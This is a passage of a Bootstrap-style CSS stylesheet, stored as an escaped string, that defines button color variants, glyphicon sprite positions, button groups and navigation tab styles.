to(#0044cc));\n  background-image: -webkit-linear-gradient(top, #0088cc, #0044cc);\n  background-image: -o-linear-gradient(top, #0088cc, #0044cc);\n  background-image: linear-gradient(to bottom, #0088cc, #0044cc);\n  background-repeat: repeat-x;\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0044cc', GradientType=0);\n  border-color: #0044cc #0044cc #002a80;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  *background-color: #0044cc;\n  /* Darken IE7 buttons by default so they stand out more given they won't have borders */\n\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n}\n.btn-primary:hover,\n.btn-primary:focus,\n.btn-primary:active,\n.btn-primary.active,\n.btn-primary.disabled,\n.btn-primary[disabled] {\n  color: #ffffff;\n  background-color: #0044cc;\n  *background-color: #003bb3;\n}\n.btn-primary:active,\n.btn-primary.active {\n  background-color: #003399 \\9;\n}\n.btn-warning {\n  color: #ffffff;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n  background-color: #faa732;\n  background-image: -moz-linear-gradient(top, #fbb450, #f89406);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406));\n  background-image: -webkit-linear-gradient(top, #fbb450, #f89406);\n  background-image: -o-linear-gradient(top, #fbb450, #f89406);\n  background-image: linear-gradient(to bottom, #fbb450, #f89406);\n  background-repeat: repeat-x;\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffbb450', endColorstr='#fff89406', GradientType=0);\n  border-color: #f89406 #f89406 #ad6704;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  *background-color: #f89406;\n  /* Darken IE7 buttons by default so they stand out more given they won't have borders */\n\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n}\n.btn-warning:hover,\n.btn-warning:focus,\n.btn-warning:active,\n.btn-warning.active,\n.btn-warning.disabled,\n.btn-warning[disabled] {\n  color: #ffffff;\n  background-color: #f89406;\n  *background-color: #df8505;\n}\n.btn-warning:active,\n.btn-warning.active {\n  background-color: #c67605 \\9;\n}\n.btn-danger {\n  color: #ffffff;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n  background-color: #da4f49;\n  background-image: -moz-linear-gradient(top, #ee5f5b, #bd362f);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#bd362f));\n  background-image: -webkit-linear-gradient(top, #ee5f5b, #bd362f);\n  background-image: -o-linear-gradient(top, #ee5f5b, #bd362f);\n  background-image: linear-gradient(to bottom, #ee5f5b, #bd362f);\n  background-repeat: repeat-x;\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffee5f5b', endColorstr='#ffbd362f', GradientType=0);\n  border-color: #bd362f #bd362f #802420;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  *background-color: #bd362f;\n  /* Darken IE7 buttons by default so they stand out more given they won't have borders */\n\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n}\n.btn-danger:hover,\n.btn-danger:focus,\n.btn-danger:active,\n.btn-danger.active,\n.btn-danger.disabled,\n.btn-danger[disabled] {\n  color: #ffffff;\n  background-color: #bd362f;\n  *background-color: #a9302a;\n}\n.btn-danger:active,\n.btn-danger.active {\n  background-color: #942a25 \\9;\n}\n.btn-success {\n  color: #ffffff;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n  background-color: #5bb75b;\n  background-image: -moz-linear-gradient(top, #62c462, #51a351);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#51a351));\n  background-image: -webkit-linear-gradient(top, #62c462, #51a351);\n  background-image: -o-linear-gradient(top, #62c462, #51a351);\n  background-image: linear-gradient(to bottom, #62c462, #51a351);\n  background-repeat: repeat-x;\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff62c462', endColorstr='#ff51a351', GradientType=0);\n  border-color: #51a351 #51a351 #387038;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  *background-color: #51a351;\n  /* Darken IE7 buttons by default so they stand out more given they won't have borders */\n\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n}\n.btn-success:hover,\n.btn-success:focus,\n.btn-success:active,\n.btn-success.active,\n.btn-success.disabled,\n.btn-success[disabled] {\n  color: #ffffff;\n  background-color: #51a351;\n  *background-color: #499249;\n}\n.btn-success:active,\n.btn-success.active {\n  background-color: #408140 \\9;\n}\n.btn-info {\n  color: #ffffff;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n  background-color: #49afcd;\n  background-image: -moz-linear-gradient(top, #5bc0de, #2f96b4);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#2f96b4));\n  background-image: -webkit-linear-gradient(top, #5bc0de, #2f96b4);\n  background-image: -o-linear-gradient(top, #5bc0de, #2f96b4);\n  background-image: linear-gradient(to bottom, #5bc0de, #2f96b4);\n  background-repeat: repeat-x;\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2f96b4', GradientType=0);\n  border-color: #2f96b4 #2f96b4 #1f6377;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  *background-color: #2f96b4;\n  /* Darken IE7 buttons by default so they stand out more given they won't have borders */\n\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n}\n.btn-info:hover,\n.btn-info:focus,\n.btn-info:active,\n.btn-info.active,\n.btn-info.disabled,\n.btn-info[disabled] {\n  color: #ffffff;\n  background-color: #2f96b4;\n  *background-color: #2a85a0;\n}\n.btn-info:active,\n.btn-info.active {\n  background-color: #24748c \\9;\n}\n.btn-inverse {\n  color: #ffffff;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n  background-color: #363636;\n  background-image: -moz-linear-gradient(top, #444444, #222222);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#444444), to(#222222));\n  background-image: -webkit-linear-gradient(top, #444444, #222222);\n  background-image: -o-linear-gradient(top, #444444, #222222);\n  background-image: linear-gradient(to bottom, #444444, #222222);\n  background-repeat: repeat-x;\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff444444', endColorstr='#ff222222', GradientType=0);\n  border-color: #222222 #222222 #000000;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  *background-color: #222222;\n  /* Darken IE7 buttons by default so they stand out more given they won't have borders */\n\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n}\n.btn-inverse:hover,\n.btn-inverse:focus,\n.btn-inverse:active,\n.btn-inverse.active,\n.btn-inverse.disabled,\n.btn-inverse[disabled] {\n  color: #ffffff;\n  background-color: #222222;\n  *background-color: #151515;\n}\n.btn-inverse:active,\n.btn-inverse.active {\n  background-color: #080808 \\9;\n}\nbutton.btn,\ninput[type=\"submit\"].btn {\n  *padding-top: 3px;\n  *padding-bottom: 3px;\n}\nbutton.btn::-moz-focus-inner,\ninput[type=\"submit\"].btn::-moz-focus-inner {\n  padding: 0;\n  border: 0;\n}\nbutton.btn.btn-large,\ninput[type=\"submit\"].btn.btn-large {\n  *padding-top: 7px;\n  *padding-bottom: 7px;\n}\nbutton.btn.btn-small,\ninput[type=\"submit\"].btn.btn-small {\n  *padding-top: 3px;\n  *padding-bottom: 3px;\n}\nbutton.btn.btn-mini,\ninput[type=\"submit\"].btn.btn-mini {\n  *padding-top: 1px;\n  *padding-bottom: 1px;\n}\n.btn-link,\n.btn-link:active,\n.btn-link[disabled] {\n  background-color: transparent;\n  background-image: none;\n  -webkit-box-shadow: none;\n  -moz-box-shadow: none;\n  box-shadow: none;\n}\n.btn-link {\n  border-color: transparent;\n  cursor: pointer;\n  color: #0088cc;\n  -webkit-border-radius: 0;\n  -moz-border-radius: 0;\n  border-radius: 0;\n}\n.btn-link:hover,\n.btn-link:focus {\n  color: #005580;\n  text-decoration: underline;\n  background-color: transparent;\n}\n.btn-link[disabled]:hover,\n.btn-link[disabled]:focus {\n  color: #333333;\n  text-decoration: none;\n}\n[class^=\"icon-\"],\n[class*=\" icon-\"] {\n  display: inline-block;\n  width: 14px;\n  height: 14px;\n  *margin-right: .3em;\n  line-height: 14px;\n  vertical-align: text-top;\n  background-image: url(\"../img/glyphicons-halflings.png\");\n  background-position: 14px 14px;\n  background-repeat: no-repeat;\n  margin-top: 1px;\n}\n/* White icons with optional class, or on hover/focus/active states of certain elements */\n.icon-white,\n.nav-pills > .active > a > [class^=\"icon-\"],\n.nav-pills > .active > a > [class*=\" icon-\"],\n.nav-list > .active > a > [class^=\"icon-\"],\n.nav-list > .active > a > [class*=\" icon-\"],\n.navbar-inverse .nav > .active > a > [class^=\"icon-\"],\n.navbar-inverse .nav > .active > a > [class*=\" icon-\"],\n.dropdown-menu > li > a:hover > [class^=\"icon-\"],\n.dropdown-menu > li > a:focus > [class^=\"icon-\"],\n.dropdown-menu > li > a:hover > [class*=\" icon-\"],\n.dropdown-menu > li > a:focus > [class*=\" icon-\"],\n.dropdown-menu > .active > a > [class^=\"icon-\"],\n.dropdown-menu > .active > a > [class*=\" icon-\"],\n.dropdown-submenu:hover > a > [class^=\"icon-\"],\n.dropdown-submenu:focus > a > [class^=\"icon-\"],\n.dropdown-submenu:hover > a > [class*=\" icon-\"],\n.dropdown-submenu:focus > a > [class*=\" icon-\"] {\n  background-image: url(\"../img/glyphicons-halflings-white.png\");\n}\n.icon-glass {\n  background-position: 0      0;\n}\n.icon-music {\n  background-position: -24px 0;\n}\n.icon-search {\n  background-position: -48px 0;\n}\n.icon-envelope {\n  background-position: -72px 0;\n}\n.icon-heart {\n  background-position: -96px 0;\n}\n.icon-star {\n  background-position: -120px 0;\n}\n.icon-star-empty {\n  background-position: -144px 0;\n}\n.icon-user {\n  background-position: -168px 0;\n}\n.icon-film {\n  background-position: -192px 0;\n}\n.icon-th-large {\n  background-position: -216px 0;\n}\n.icon-th {\n  background-position: -240px 0;\n}\n.icon-th-list {\n  background-position: -264px 0;\n}\n.icon-ok {\n  background-position: -288px 0;\n}\n.icon-remove {\n  background-position: -312px 0;\n}\n.icon-zoom-in {\n  background-position: -336px 0;\n}\n.icon-zoom-out {\n  background-position: -360px 0;\n}\n.icon-off {\n  background-position: -384px 0;\n}\n.icon-signal {\n  background-position: -408px 0;\n}\n.icon-cog {\n  background-position: -432px 0;\n}\n.icon-trash {\n  background-position: -456px 0;\n}\n.icon-home {\n  background-position: 0 -24px;\n}\n.icon-file {\n  background-position: -24px -24px;\n}\n.icon-time {\n  background-position: -48px -24px;\n}\n.icon-road {\n  background-position: -72px -24px;\n}\n.icon-download-alt {\n  background-position: -96px -24px;\n}\n.icon-download {\n  background-position: -120px -24px;\n}\n.icon-upload {\n  background-position: -144px -24px;\n}\n.icon-inbox {\n  background-position: -168px -24px;\n}\n.icon-play-circle {\n  background-position: -192px -24px;\n}\n.icon-repeat {\n  background-position: -216px -24px;\n}\n.icon-refresh {\n  background-position: -240px -24px;\n}\n.icon-list-alt {\n  background-position: -264px -24px;\n}\n.icon-lock {\n  background-position: -287px -24px;\n}\n.icon-flag {\n  background-position: -312px -24px;\n}\n.icon-headphones {\n  background-position: -336px -24px;\n}\n.icon-volume-off {\n  background-position: -360px -24px;\n}\n.icon-volume-down {\n  background-position: -384px -24px;\n}\n.icon-volume-up {\n  background-position: -408px -24px;\n}\n.icon-qrcode {\n  background-position: -432px -24px;\n}\n.icon-barcode {\n  background-position: -456px -24px;\n}\n.icon-tag {\n  background-position: 0 -48px;\n}\n.icon-tags {\n  background-position: -25px -48px;\n}\n.icon-book {\n  background-position: -48px -48px;\n}\n.icon-bookmark {\n  background-position: -72px -48px;\n}\n.icon-print {\n  background-position: -96px -48px;\n}\n.icon-camera {\n  background-position: -120px -48px;\n}\n.icon-font {\n  background-position: -144px -48px;\n}\n.icon-bold {\n  background-position: -167px -48px;\n}\n.icon-italic {\n  background-position: -192px -48px;\n}\n.icon-text-height {\n  background-position: -216px -48px;\n}\n.icon-text-width {\n  background-position: -240px -48px;\n}\n.icon-align-left {\n  background-position: -264px -48px;\n}\n.icon-align-center {\n  background-position: -288px -48px;\n}\n.icon-align-right {\n  background-position: -312px -48px;\n}\n.icon-align-justify {\n  background-position: -336px -48px;\n}\n.icon-list {\n  background-position: -360px -48px;\n}\n.icon-indent-left {\n  background-position: -384px -48px;\n}\n.icon-indent-right {\n  background-position: -408px -48px;\n}\n.icon-facetime-video {\n  background-position: -432px -48px;\n}\n.icon-picture {\n  background-position: -456px -48px;\n}\n.icon-pencil {\n  background-position: 0 -72px;\n}\n.icon-map-marker {\n  background-position: -24px -72px;\n}\n.icon-adjust {\n  background-position: -48px -72px;\n}\n.icon-tint {\n  background-position: -72px -72px;\n}\n.icon-edit {\n  background-position: -96px -72px;\n}\n.icon-share {\n  background-position: -120px -72px;\n}\n.icon-check {\n  background-position: -144px -72px;\n}\n.icon-move {\n  background-position: -168px -72px;\n}\n.icon-step-backward {\n  background-position: -192px -72px;\n}\n.icon-fast-backward {\n  background-position: -216px -72px;\n}\n.icon-backward {\n  background-position: -240px -72px;\n}\n.icon-play {\n  background-position: -264px -72px;\n}\n.icon-pause {\n  background-position: -288px -72px;\n}\n.icon-stop {\n  background-position: -312px -72px;\n}\n.icon-forward {\n  background-position: -336px -72px;\n}\n.icon-fast-forward {\n  background-position: -360px -72px;\n}\n.icon-step-forward {\n  background-position: -384px -72px;\n}\n.icon-eject {\n  background-position: -408px -72px;\n}\n.icon-chevron-left {\n  background-position: -432px -72px;\n}\n.icon-chevron-right {\n  background-position: -456px -72px;\n}\n.icon-plus-sign {\n  background-position: 0 -96px;\n}\n.icon-minus-sign {\n  background-position: -24px -96px;\n}\n.icon-remove-sign {\n  background-position: -48px -96px;\n}\n.icon-ok-sign {\n  background-position: -72px -96px;\n}\n.icon-question-sign {\n  background-position: -96px -96px;\n}\n.icon-info-sign {\n  background-position: -120px -96px;\n}\n.icon-screenshot {\n  background-position: -144px -96px;\n}\n.icon-remove-circle {\n  background-position: -168px -96px;\n}\n.icon-ok-circle {\n  background-position: -192px -96px;\n}\n.icon-ban-circle {\n  background-position: -216px -96px;\n}\n.icon-arrow-left {\n  background-position: -240px -96px;\n}\n.icon-arrow-right {\n  background-position: -264px -96px;\n}\n.icon-arrow-up {\n  background-position: -289px -96px;\n}\n.icon-arrow-down {\n  background-position: -312px -96px;\n}\n.icon-share-alt {\n  background-position: -336px -96px;\n}\n.icon-resize-full {\n  background-position: -360px -96px;\n}\n.icon-resize-small {\n  background-position: -384px -96px;\n}\n.icon-plus {\n  background-position: -408px -96px;\n}\n.icon-minus {\n  background-position: -433px -96px;\n}\n.icon-asterisk {\n  background-position: -456px -96px;\n}\n.icon-exclamation-sign {\n  background-position: 0 -120px;\n}\n.icon-gift {\n  background-position: -24px -120px;\n}\n.icon-leaf {\n  background-position: -48px -120px;\n}\n.icon-fire {\n  background-position: -72px -120px;\n}\n.icon-eye-open {\n  background-position: -96px -120px;\n}\n.icon-eye-close {\n  background-position: -120px -120px;\n}\n.icon-warning-sign {\n  background-position: -144px -120px;\n}\n.icon-plane {\n  background-position: -168px -120px;\n}\n.icon-calendar {\n  background-position: -192px -120px;\n}\n.icon-random {\n  background-position: -216px -120px;\n  width: 16px;\n}\n.icon-comment {\n  background-position: -240px -120px;\n}\n.icon-magnet {\n  background-position: -264px -120px;\n}\n.icon-chevron-up {\n  background-position: -288px -120px;\n}\n.icon-chevron-down {\n  background-position: -313px -119px;\n}\n.icon-retweet {\n  background-position: -336px -120px;\n}\n.icon-shopping-cart {\n  background-position: -360px -120px;\n}\n.icon-folder-close {\n  background-position: -384px -120px;\n  width: 16px;\n}\n.icon-folder-open {\n  background-position: -408px -120px;\n  width: 16px;\n}\n.icon-resize-vertical {\n  background-position: -432px -119px;\n}\n.icon-resize-horizontal {\n  background-position: -456px -118px;\n}\n.icon-hdd {\n  background-position: 0 -144px;\n}\n.icon-bullhorn {\n  background-position: -24px -144px;\n}\n.icon-bell {\n  background-position: -48px -144px;\n}\n.icon-certificate {\n  background-position: -72px -144px;\n}\n.icon-thumbs-up {\n  background-position: -96px -144px;\n}\n.icon-thumbs-down {\n  background-position: -120px -144px;\n}\n.icon-hand-right {\n  background-position: -144px -144px;\n}\n.icon-hand-left {\n  background-position: -168px -144px;\n}\n.icon-hand-up {\n  background-position: -192px -144px;\n}\n.icon-hand-down {\n  background-position: -216px -144px;\n}\n.icon-circle-arrow-right {\n  background-position: -240px -144px;\n}\n.icon-circle-arrow-left {\n  background-position: -264px -144px;\n}\n.icon-circle-arrow-up {\n  background-position: -288px -144px;\n}\n.icon-circle-arrow-down {\n  background-position: -312px -144px;\n}\n.icon-globe {\n  background-position: -336px -144px;\n}\n.icon-wrench {\n  background-position: -360px -144px;\n}\n.icon-tasks {\n  background-position: -384px -144px;\n}\n.icon-filter {\n  background-position: -408px -144px;\n}\n.icon-briefcase {\n  background-position: -432px -144px;\n}\n.icon-fullscreen {\n  background-position: -456px -144px;\n}\n.btn-group {\n  position: relative;\n  display: inline-block;\n  *display: inline;\n  /* IE7 inline-block hack */\n\n  *zoom: 1;\n  font-size: 0;\n  vertical-align: middle;\n  white-space: nowrap;\n  *margin-left: .3em;\n}\n.btn-group:first-child {\n  *margin-left: 0;\n}\n.btn-group + .btn-group {\n  margin-left: 5px;\n}\n.btn-toolbar {\n  font-size: 0;\n  margin-top: 10px;\n  margin-bottom: 10px;\n}\n.btn-toolbar > .btn + .btn,\n.btn-toolbar > .btn-group + .btn,\n.btn-toolbar > .btn + .btn-group {\n  margin-left: 5px;\n}\n.btn-group > .btn {\n  position: relative;\n  -webkit-border-radius: 0;\n  -moz-border-radius: 0;\n  border-radius: 0;\n}\n.btn-group > .btn + .btn {\n  margin-left: -1px;\n}\n.btn-group > .btn,\n.btn-group > .dropdown-menu,\n.btn-group > .popover {\n  font-size: 14px;\n}\n.btn-group > .btn-mini {\n  font-size: 10.5px;\n}\n.btn-group > .btn-small {\n  font-size: 11.9px;\n}\n.btn-group > .btn-large {\n  font-size: 17.5px;\n}\n.btn-group > .btn:first-child {\n  margin-left: 0;\n  -webkit-border-top-left-radius: 4px;\n  -moz-border-radius-topleft: 4px;\n  border-top-left-radius: 4px;\n  -webkit-border-bottom-left-radius: 4px;\n  -moz-border-radius-bottomleft: 4px;\n  border-bottom-left-radius: 4px;\n}\n.btn-group > .btn:last-child,\n.btn-group > .dropdown-toggle {\n  -webkit-border-top-right-radius: 4px;\n  -moz-border-radius-topright: 4px;\n  border-top-right-radius: 4px;\n  -webkit-border-bottom-right-radius: 4px;\n  -moz-border-radius-bottomright: 4px;\n  border-bottom-right-radius: 4px;\n}\n.btn-group > .btn.large:first-child {\n  margin-left: 0;\n  -webkit-border-top-left-radius: 6px;\n  -moz-border-radius-topleft: 6px;\n  border-top-left-radius: 6px;\n  -webkit-border-bottom-left-radius: 6px;\n  -moz-border-radius-bottomleft: 6px;\n  border-bottom-left-radius: 6px;\n}\n.btn-group > .btn.large:last-child,\n.btn-group > .large.dropdown-toggle {\n  -webkit-border-top-right-radius: 6px;\n  -moz-border-radius-topright: 6px;\n  border-top-right-radius: 6px;\n  -webkit-border-bottom-right-radius: 6px;\n  -moz-border-radius-bottomright: 6px;\n  border-bottom-right-radius: 6px;\n}\n.btn-group > .btn:hover,\n.btn-group > .btn:focus,\n.btn-group > .btn:active,\n.btn-group > .btn.active {\n  z-index: 2;\n}\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n  outline: 0;\n}\n.btn-group > .btn + .dropdown-toggle {\n  padding-left: 8px;\n  padding-right: 8px;\n  -webkit-box-shadow: inset 1px 0 0 rgba(255,255,255,.125), inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);\n  -moz-box-shadow: inset 1px 0 0 rgba(255,255,255,.125), inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);\n  box-shadow: inset 1px 0 0 rgba(255,255,255,.125), inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);\n  *padding-top: 5px;\n  *padding-bottom: 5px;\n}\n.btn-group > .btn-mini + .dropdown-toggle {\n  padding-left: 5px;\n  padding-right: 5px;\n  *padding-top: 2px;\n  *padding-bottom: 2px;\n}\n.btn-group > .btn-small + .dropdown-toggle {\n  *padding-top: 5px;\n  *padding-bottom: 4px;\n}\n.btn-group > .btn-large + .dropdown-toggle {\n  padding-left: 12px;\n  padding-right: 12px;\n  *padding-top: 7px;\n  *padding-bottom: 7px;\n}\n.btn-group.open .dropdown-toggle {\n  background-image: none;\n  -webkit-box-shadow: inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05);\n  -moz-box-shadow: inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05);\n  box-shadow: inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05);\n}\n.btn-group.open .btn.dropdown-toggle {\n  background-color: #e6e6e6;\n}\n.btn-group.open .btn-primary.dropdown-toggle {\n  background-color: #0044cc;\n}\n.btn-group.open .btn-warning.dropdown-toggle {\n  background-color: #f89406;\n}\n.btn-group.open .btn-danger.dropdown-toggle {\n  background-color: #bd362f;\n}\n.btn-group.open .btn-success.dropdown-toggle {\n  background-color: #51a351;\n}\n.btn-group.open .btn-info.dropdown-toggle {\n  background-color: #2f96b4;\n}\n.btn-group.open .btn-inverse.dropdown-toggle {\n  background-color: #222222;\n}\n.btn .caret {\n  margin-top: 8px;\n  margin-left: 0;\n}\n.btn-large .caret {\n  margin-top: 6px;\n}\n.btn-large .caret {\n  border-left-width: 5px;\n  border-right-width: 5px;\n  border-top-width: 5px;\n}\n.btn-mini .caret,\n.btn-small .caret {\n  margin-top: 8px;\n}\n.dropup .btn-large .caret {\n  border-bottom-width: 5px;\n}\n.btn-primary .caret,\n.btn-warning .caret,\n.btn-danger .caret,\n.btn-info .caret,\n.btn-success .caret,\n.btn-inverse .caret {\n  border-top-color: #ffffff;\n  border-bottom-color: #ffffff;\n}\n.btn-group-vertical {\n  display: inline-block;\n  *display: inline;\n  /* IE7 inline-block hack */\n\n  *zoom: 1;\n}\n.btn-group-vertical > .btn {\n  display: block;\n  float: none;\n  max-width: 100%;\n  -webkit-border-radius: 0;\n  -moz-border-radius: 0;\n  border-radius: 0;\n}\n.btn-group-vertical > .btn + .btn {\n  margin-left: 0;\n  margin-top: -1px;\n}\n.btn-group-vertical > .btn:first-child {\n  -webkit-border-radius: 4px 4px 0 0;\n  -moz-border-radius: 4px 4px 0 0;\n  border-radius: 4px 4px 0 0;\n}\n.btn-group-vertical > .btn:last-child {\n  -webkit-border-radius: 0 0 4px 4px;\n  -moz-border-radius: 0 0 4px 4px;\n  border-radius: 0 0 4px 4px;\n}\n.btn-group-vertical > .btn-large:first-child {\n  -webkit-border-radius: 6px 6px 0 0;\n  -moz-border-radius: 6px 6px 0 0;\n  border-radius: 6px 6px 0 0;\n}\n.btn-group-vertical > .btn-large:last-child {\n  -webkit-border-radius: 0 0 6px 6px;\n  -moz-border-radius: 0 0 6px 6px;\n  border-radius: 0 0 6px 6px;\n}\n.nav {\n  margin-left: 0;\n  margin-bottom: 20px;\n  list-style: none;\n}\n.nav > li > a {\n  display: block;\n}\n.nav > li > a:hover,\n.nav > li > a:focus {\n  text-decoration: none;\n  background-color: #eeeeee;\n}\n.nav > li > a > img {\n  max-width: none;\n}\n.nav > .pull-right {\n  float: right;\n}\n.nav-header {\n  display: block;\n  padding: 3px 15px;\n  font-size: 11px;\n  font-weight: bold;\n  line-height: 20px;\n  color: #999999;\n  text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);\n  text-transform: uppercase;\n}\n.nav li + .nav-header {\n  margin-top: 9px;\n}\n.nav-list {\n  padding-left: 15px;\n  padding-right: 15px;\n  margin-bottom: 0;\n}\n.nav-list > li > a,\n.nav-list .nav-header {\n  margin-left: -15px;\n  margin-right: -15px;\n  text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);\n}\n.nav-list > li > a {\n  padding: 3px 15px;\n}\n.nav-list > .active > a,\n.nav-list > .active > a:hover,\n.nav-list > .active > a:focus {\n  color: #ffffff;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.2);\n  background-color: #0088cc;\n}\n.nav-list [class^=\"icon-\"],\n.nav-list [class*=\" icon-\"] {\n  margin-right: 2px;\n}\n.nav-list .divider {\n  *width: 100%;\n  height: 1px;\n  margin: 9px 1px;\n  *margin: -5px 0 5px;\n  overflow: hidden;\n  background-color: #e5e5e5;\n  border-bottom: 1px solid #ffffff;\n}\n.nav-tabs,\n.nav-pills {\n  *zoom: 1;\n}\n.nav-tabs:before,\n.nav-pills:before,\n.nav-tabs:after,\n.nav-pills:after {\n  display: table;\n  content: \"\";\n  line-height: 0;\n}\n.nav-tabs:after,\n.nav-pills:after {\n  clear: both;\n}\n.nav-tabs > li,\n.nav-pills > li {\n  float: left;\n}\n.nav-tabs > li > a,\n.nav-pills > li > a {\n  padding-right: 12px;\n  padding-left: 12px;\n  margin-right: 2px;\n  line-height: 14px;\n}\n.nav-tabs {\n  border-bottom: 1px solid #ddd;\n}\n.nav-tabs > li {\n  margin-bottom: -1px;\n}\n.nav-tabs > li > a {\n  padding-top: 8px;\n  padding-bottom: 8px;\n  line-height: 20px;\n  border: 1px solid transparent;\n  -webkit-border-radius: 4px 4px 0 0;\n  -moz-border-radius: 4px 4px 0 0;\n  border-radius: 4px 4px 0 0;\n}\n.nav-tabs > li > a:hover,\n.nav-tabs > li > a:focus {\n  border-color: #eeeeee #eeeeee #dddddd;\n}\n.nav-tabs > .active > a,\n.nav-tabs > .active > a:hover,\n.nav-tabs > .active > a:focus {\n  color: #555555;\n  background-color: #ffffff;\n  border: 1px solid #ddd;\n  border-bottom-color: transparent;\n  cursor: default;\n}\n.nav-pills > li > a {\n  padding-top: 8px;\n  padding-bottom: 8px;\n  margin-top: 2px;\n  margin-bottom: 2px;\n  -webkit-border-radius: 5px;\n  -moz-border-radius: 5px;\n  border-radius: 5px;\n}\n.nav-pills > .active > a,\n.nav-pills > .active > a:hover,\n.nav-pills > .active > a:focus {\n  color: #ffffff;\n  background-color: #0088cc;\n}\n.nav-stacked > li {\n  float: none;\n}\n.nav-stacked > li > a {\n  margin-right: 0;\n}\n.nav-tabs.nav-stacked {\n  border-bottom: 0;\n}\n.nav-tabs.nav-stacked > li > a {\n  border: 1px solid #ddd;\n  -webkit-border-radius: 0;\n  -moz-border-radius: 0;\n  border-radius: 0;\n}\n.nav-tabs.nav-stacked > li:first-child > a {\n  -webkit-border-top-right-radius: 4px;\n  -moz-border-radius-topright: 4px;\n  border-top-right-radius: 4px;\n  -webkit-border-top-left-radius: 4px;\n  -moz-border-radius-topleft: 4px;\n  border-top-left-radius: 4px;\n}\n.nav-tabs.nav-stacked > li:last-child > a {\n  -webkit-border-bottom-right-radius: 4px;\n  -moz-border-radius-bottomright: 4px;\n  border-bottom-right-radius: 4px;\n  -webkit-border-bottom-left-radius: 4px;\n  -moz-border-radius-bottomleft: 4px;\n  border-bottom-left-radius: 4px;\n}\n.nav-tabs.nav-stacked > li > a:hover,\n.nav-tabs.nav-stacked > li > a:focus {\n  border-color: #ddd;\n  z-index: 2;\n}\n.nav-pills.nav-stacked > li > a {\n  margin-bottom: 3px;\n}\n.nav-pills.nav-stacked > li:last-child > a {\n  margin-bottom: 1px;\n}\n.nav-tabs .dropdown-menu {\n  -webkit-border-radius: 0 0 6px 6px;\n  -moz-border-radius: 0 0 6px 6px;\n  border-radius: 0 0 6px 6px;\n}\n.nav-pills .dropdown-menu {\n  -webkit-border-radius: 6px;\n  -moz-border-radius: 6px;\n  border-radius: 6px;\n}\n.nav .dropdown-toggle .caret {\n  border-top-color: #0088cc;\n  border-bottom-color: #0088cc;\n  margin-top: 6px;\n}\n.nav .dropdown-toggle:hover .caret,\n.nav .dropdown-toggle:focus .caret {\n  border-top-color: #005580;\n  border-bottom-color: #005580;\n}\n/* move down carets for tabs */\n.nav-tabs .dropdown-toggle .caret {\n  margin-top: 8px;\n}\n.nav .active .dropdown-toggle .caret {\n  border-top-color: #fff;\n  border-bottom-color: #fff;\n}\n.nav-tabs .active .dropdown-toggle .caret {\n  border-top-color: #555555;\n  border-bottom-color: #555555;\n}\n.nav > .dropdown.active > a:hover,\n.nav > .dropdown.active > a:focus {\n  cursor: pointer;\n}\n.nav-tabs .open .dropdown-toggle,\n.nav-pills .open .dropdown-toggle,\n.nav > li.dropdown.open.active > a:hover,\n.nav > li.dropdown.open.active > a:focus {\n  color: #ffffff;\n  background-color: #999999;\n  border-color: #999999;\n}\n.nav li.dropdown.open .caret,\n.nav li.dropdown.open.active .caret,\n.nav li.dropdown.open a:hover .caret,\n.nav li.dropdown.open a:focus .caret {\n  border-top-color: #ffffff;\n  border-bottom-color: #ffffff;\n  opacity: 1;\n  filter: alpha(opacity=100);\n}\n.tabs-stacked .open > a:hover,\n.tabs-stacked .open > a:focus {\n  border-color: #999999;\n}\n.tabbable {\n  *zoom: 1;\n}\n.tabbable:before,\n.tabbable:after {\n  display: table;\n  content: \"\";\n  line-height: 0;\n}\n.tabbable:after {\n  clear: both;\n}\n.tab-content {\n  overflow: auto;\n}\n.tabs-below > 